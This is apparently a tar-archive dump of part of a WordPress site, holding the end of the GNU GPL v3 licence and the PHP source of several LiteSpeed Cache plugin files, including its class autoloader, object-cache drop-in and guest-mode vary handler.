facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <https://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <https://www.gnu.org/licenses/why-not-lgpl.html>. �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/autoload.php����������������������������������������������������������������0000644�����������������00000007335�15233526476�0013612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Auto registration for LiteSpeed classes * * @package LiteSpeed * @since 1.1.0 */ defined('WPINC') || exit(); // Force define for object cache usage before plugin init !defined('LSCWP_DIR') && define('LSCWP_DIR', __DIR__ . '/'); // Full absolute path '/var/www/html/***/wp-content/plugins/litespeed-cache/' or MU // Load all classes instead of autoload for direct conf update purpose when upgrade to new version. // NOTE: These files need to load exactly in order $litespeed_php_files = array( // core file priority 'src/root.cls.php', 'src/base.cls.php', // main src files 'src/activation.cls.php', 'src/admin-display.cls.php', 'src/admin-settings.cls.php', 'src/admin.cls.php', 'src/api.cls.php', 'src/avatar.cls.php', 'src/cdn.cls.php', 'src/cloud-auth-callback.trait.php', 'src/cloud-auth-ip.trait.php', 'src/cloud-auth.trait.php', 'src/cloud-request.trait.php', 'src/cloud-node.trait.php', 'src/cloud-misc.trait.php', 'src/cloud.cls.php', 'src/conf.cls.php', 'src/control.cls.php', 'src/core.cls.php', 'src/crawler-map.cls.php', 'src/crawler.cls.php', 'src/css.cls.php', 'src/data.cls.php', 'src/db-optm.cls.php', 'src/debug2.cls.php', 'src/doc.cls.php', 'src/error.cls.php', 'src/esi.cls.php', 'src/file.cls.php', 'src/guest.cls.php', 'src/gui.cls.php', 'src/health.cls.php', 'src/htaccess.cls.php', 'src/img-optm-send.trait.php', 'src/img-optm-pull.trait.php', 'src/img-optm-manage.trait.php', 'src/img-optm.cls.php', 'src/import.cls.php', 'src/import.preset.cls.php', 'src/lang.cls.php', 'src/localization.cls.php', 'src/media.cls.php', 'src/metabox.cls.php', 'src/object-cache.cls.php', 'src/optimize.cls.php', 'src/optimizer.cls.php', 'src/placeholder.cls.php', 'src/purge.cls.php', 'src/report.cls.php', 'src/rest.cls.php', 'src/router.cls.php', 'src/str.cls.php', 'src/tag.cls.php', 'src/task.cls.php', 'src/tool.cls.php', 'src/ucss.cls.php', 'src/utility.cls.php', 'src/vary.cls.php', 'src/vpi.cls.php', // Extra CDN cls files 'src/cdn/cloudflare.cls.php', 'src/cdn/quic.cls.php', // CLI classes 'cli/crawler.cls.php', 'cli/debug.cls.php', 'cli/image.cls.php', 'cli/online.cls.php', 'cli/option.cls.php', 'cli/presets.cls.php', 'cli/purge.cls.php', 'cli/database.cls.php', // 3rd party libraries 'lib/css_js_min/pathconverter/converter.cls.php', 'lib/css_js_min/minify/exception.cls.php', 'lib/css_js_min/minify/minify.cls.php', 'lib/css_js_min/minify/css.cls.php', 'lib/css_js_min/minify/js.cls.php', 'lib/urirewriter.cls.php', 'lib/guest.cls.php', 'lib/html-min.cls.php', // phpcs:disable // 'lib/object-cache.php', // 'lib/php-compatibility.func.php', // upgrade purpose delay loaded funcs // 'src/data.upgrade.func.php', // phpcs:enable ); foreach ($litespeed_php_files as $class) { $file = LSCWP_DIR . $class; require_once $file; } if (!function_exists('litespeed_autoload')) { /** * Autoload function for LiteSpeed classes * * @since 1.1.0 * @param string $cls The class name to autoload. */ function litespeed_autoload( $cls ) { if (strpos($cls, '.') !== false) { return; } if (strpos($cls, 'LiteSpeed') !== 0) { return; } $file = explode('\\', $cls); array_shift($file); $file = implode('/', $file); $file = str_replace('_', '-', strtolower($file)); // phpcs:disable // if (strpos($file, 'lib/') === 0 || strpos($file, 'cli/') === 0 || strpos($file, 'thirdparty/') === 0) { // $file = LSCWP_DIR . $file . '.cls.php'; // } else { // $file = LSCWP_DIR . 'src/' . $file . '.cls.php'; // } // phpcs:enable if (strpos($file, 'thirdparty/') !== 0) { return; } $file = LSCWP_DIR . $file . '.cls.php'; if (file_exists($file)) { require_once $file; } } } spl_autoload_register('litespeed_autoload'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/typos.toml������������������������������������������������������������������0000644�����������������00000000121�15233526476�0013326 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[files] extend-exclude = [ "**", "!cli/**", "!tpl/**", "!autoload.php" ] �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/object-cache.php��������������������������������������������������������0000644�����������������00000003514�15233526476�0015052 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * Plugin Name: LiteSpeed Cache - Object Cache (Drop-in) * Plugin URI: https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration * Description: High-performance page caching and site optimization from LiteSpeed. * Author: LiteSpeed Technologies * Author URI: https://www.litespeedtech.com */ defined( 'WPINC' ) || exit; /** * LiteSpeed Object Cache * * @since 1.8 */ ! defined( 'LSCWP_OBJECT_CACHE' ) && define( 'LSCWP_OBJECT_CACHE', true ); // Initialize const `LSCWP_DIR` and locate LSCWP plugin folder $lscwp_dir = ( defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : WP_CONTENT_DIR . '/plugins' ) . '/litespeed-cache/'; // Use plugin as higher priority than MU plugin if ( ! file_exists( $lscwp_dir . 'litespeed-cache.php' ) ) { // Check if is mu plugin or not $lscwp_dir = ( defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins' ) . '/litespeed-cache/'; if ( ! file_exists( $lscwp_dir . 'litespeed-cache.php' ) ) { $lscwp_dir = ''; } } $data_file = WP_CONTENT_DIR . '/.litespeed_conf.dat'; $lib_file = $lscwp_dir . 'src/object.lib.php'; // Can't find LSCWP location, terminate object cache process if ( ! $lscwp_dir || ! file_exists( $data_file ) || ( ! file_exists( $lib_file ) ) ) { if ( ! is_admin() ) { // Bypass object cache for frontend require_once ABSPATH . WPINC . '/cache.php'; } else { $err = 'Can NOT find LSCWP path for object cache initialization in ' . __FILE__; error_log( $err ); add_action( is_network_admin() ? 'network_admin_notices' : 'admin_notices', function () use ( &$err ) { echo $err; } ); } } elseif ( ! LSCWP_OBJECT_CACHE ) { // Disable cache wp_using_ext_object_cache( false ); } // Init object cache & LSCWP elseif ( file_exists( $lib_file ) ) { require_once $lib_file; } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/guest.cls.php�����������������������������������������������������������0000644�����������������00000020276�15233526476�0014456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Guest vary handler for LiteSpeed Cache. * * NOTE: This file is loaded directly without WordPress, so WP functions are NOT available. * * @package LiteSpeed * @since 4.1 */ namespace LiteSpeed\Lib; /** * Update guest vary * * @since 4.1 */ class Guest { const CONF_FILE = '.litespeed_conf.dat'; const HASH = 'hash'; // Not set-able const O_CACHE_LOGIN_COOKIE = 'cache-login_cookie'; const O_DEBUG = 'debug'; const O_DEBUG_IPS = 'debug-ips'; const O_UTIL_NO_HTTPS_VARY = 'util-no_https_vary'; /** * Client IP address. * * @var string */ private static $_ip; /** * Vary cookie name. * * @var string */ private static $_vary_name = '_lscache_vary'; /** * Configuration array. * * @var array|false */ private $_conf = false; /** * Guest Mode lists cache. * * @var array */ private $_gm_lists = [ 'ips' => null, 'uas' => null, ]; /** * Constructor * * @since 4.1 */ public function __construct() { ! defined( 'LSCWP_CONTENT_FOLDER' ) && define( 'LSCWP_CONTENT_FOLDER', dirname( __DIR__, 3 ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- No WP available $this->_conf = file_get_contents( LSCWP_CONTENT_FOLDER . '/' . self::CONF_FILE ); if ( $this->_conf ) { $this->_conf = json_decode( $this->_conf, true ); } if ( ! empty( $this->_conf[ self::O_CACHE_LOGIN_COOKIE ] ) ) { self::$_vary_name = $this->_conf[ self::O_CACHE_LOGIN_COOKIE ]; } } /** * Update Guest vary. * * @since 4.0 * @return void */ public function update_guest_vary() { // This process must not be cached // @reference https://wordpress.org/support/topic/soft-404-from-google-search-on-litespeed-cache-guest-vary-php/#post-16838583 header( 'X-Robots-Tag: noindex' ); header( 'X-LiteSpeed-Cache-Control: no-cache' ); header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); if ( $this->always_guest() ) { echo '[]'; exit; } // If contains vary already, don't reload to avoid infinite loop when parent page having browser cache if ( $this->_conf && self::has_vary() ) { echo '[]'; exit; } // Send vary cookie $vary = 'guest_mode:1'; if ( $this->_conf && empty( $this->_conf[ self::O_DEBUG ] ) ) { $vary = md5( $this->_conf[ self::HASH ] . $vary ); } $expire = time() + 2 * 86400; $is_ssl = ! empty( $this->_conf[ self::O_UTIL_NO_HTTPS_VARY ] ) ? false : $this->is_ssl(); setcookie( self::$_vary_name, $vary, $expire, '/', false, $is_ssl, true ); // phpcs:ignore WordPress.WP.AlternativeFunctions.json_encode_json_encode -- No WP available echo json_encode( [ 'reload' => 'yes' ] ); exit; } /** * WP's is_ssl() func * * @since 4.1 * @return bool */ private function is_ssl() { // phpcs:disable WordPress.Security.ValidatedSanitizedInput -- No WP available if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' === strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' === $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && '443' === $_SERVER['SERVER_PORT'] ) { return true; } // phpcs:enable WordPress.Security.ValidatedSanitizedInput return false; } /** * Check if default vary has a value * * @since 1.1.3 * @access public * @return string|false */ public static function has_vary() { if ( empty( $_COOKIE[ self::$_vary_name ] ) ) { return false; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- No WP available return $_COOKIE[ self::$_vary_name ]; } /** * Load Guest Mode list from file. * * Priority: cloud synced file > plugin data file * * @since 7.7 * @param string $type 'ips' or 'uas'. * @return array */ private function _load_gm_list( $type ) { if ( null !== $this->_gm_lists[ $type ] ) { return $this->_gm_lists[ $type ]; } $this->_gm_lists[ $type ] = []; $filename = 'gm_' . $type . '.txt'; // Try cloud synced file first, then fallback to plugin data file $files = [ LSCWP_CONTENT_FOLDER . '/litespeed/cloud/' . $filename, dirname( __DIR__ ) . '/data/' . $filename, ]; foreach ( $files as $file ) { if ( file_exists( $file ) ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- No WP available $content = file_get_contents( $file ); if ( $content ) { $this->_gm_lists[ $type ] = array_filter( array_map( 'trim', explode( "\n", $content ) ) ); break; } } } return $this->_gm_lists[ $type ]; } /** * Detect if is a guest visitor or not * * @since 4.0 * @return bool */ public function always_guest() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $guest_uas = $this->_load_gm_list( 'uas' ); if ( $guest_uas ) { $quoted_uas = []; foreach ( $guest_uas as $v ) { $quoted_uas[] = preg_quote( $v, '#' ); } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- No WP available $match = preg_match( '#' . implode( '|', $quoted_uas ) . '#i', $_SERVER['HTTP_USER_AGENT'] ); if ( $match ) { return true; } } $guest_ips = $this->_load_gm_list( 'ips' ); if ( $this->ip_access( $guest_ips ) ) { return true; } return false; } /** * Check if the ip is in the range (supports CIDR notation) * * @since 1.1.0 * @since 7.7 Added CIDR support * @access public * @param array $ip_list List of IPs or CIDRs. * @return bool */ public function ip_access( $ip_list ) { if ( ! $ip_list ) { return false; } if ( ! isset( self::$_ip ) ) { self::$_ip = self::get_ip(); } foreach ( $ip_list as $ip_entry ) { $ip_entry = trim( $ip_entry ); // Check CIDR format if ( strpos( $ip_entry, '/' ) !== false ) { if ( $this->_ip_in_cidr( self::$_ip, $ip_entry ) ) { return true; } } elseif ( self::$_ip === $ip_entry ) { // Exact match return true; } } return false; } /** * Check if IP is within CIDR range * * @since 7.7 * @access private * @param string $ip IP address to check. * @param string $cidr CIDR notation (e.g., 192.168.1.0/24). * @return bool */ private function _ip_in_cidr( $ip, $cidr ) { list( $subnet, $mask ) = explode( '/', $cidr, 2 ); // Mask must be numeric and > 0 if ( ! is_numeric( $mask ) || $mask <= 0 ) { return false; } $mask = (int) $mask; // Determine IP version and validate $is_ipv6 = filter_var( $subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ); $max_mask = $is_ipv6 ? 128 : 32; $byte_len = $is_ipv6 ? 16 : 4; $ip_filter = $is_ipv6 ? FILTER_FLAG_IPV6 : FILTER_FLAG_IPV4; if ( ! filter_var( $ip, FILTER_VALIDATE_IP, $ip_filter ) ) { return false; } if ( $mask > $max_mask ) { return false; } $ip_bin = inet_pton( $ip ); $subnet_bin = inet_pton( $subnet ); if ( false === $ip_bin || false === $subnet_bin ) { return false; } // Build mask $full_bytes = (int) ( $mask / 8 ); $rem_bits = $mask % 8; $mask_bin = str_repeat( "\xff", $full_bytes ); if ( $rem_bits > 0 ) { $mask_bin .= chr( 0xff << ( 8 - $rem_bits ) ); } $mask_bin = str_pad( $mask_bin, $byte_len, "\x00" ); return ( $ip_bin & $mask_bin ) === ( $subnet_bin & $mask_bin ); } /** * Get client ip * * @since 1.1.0 * @since 1.6.5 changed to public * @access public * @return string */ public static function get_ip() { $_ip = ''; if ( function_exists( 'apache_request_headers' ) ) { $apache_headers = apache_request_headers(); $_ip = ! empty( $apache_headers['True-Client-IP'] ) ? $apache_headers['True-Client-IP'] : false; if ( ! $_ip ) { $_ip = ! empty( $apache_headers['X-Forwarded-For'] ) ? $apache_headers['X-Forwarded-For'] : false; $_ip = explode( ',', $_ip ); $_ip = $_ip[0]; } } if ( ! $_ip ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- No WP available $_ip = ! empty( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : ''; } return $_ip; } } 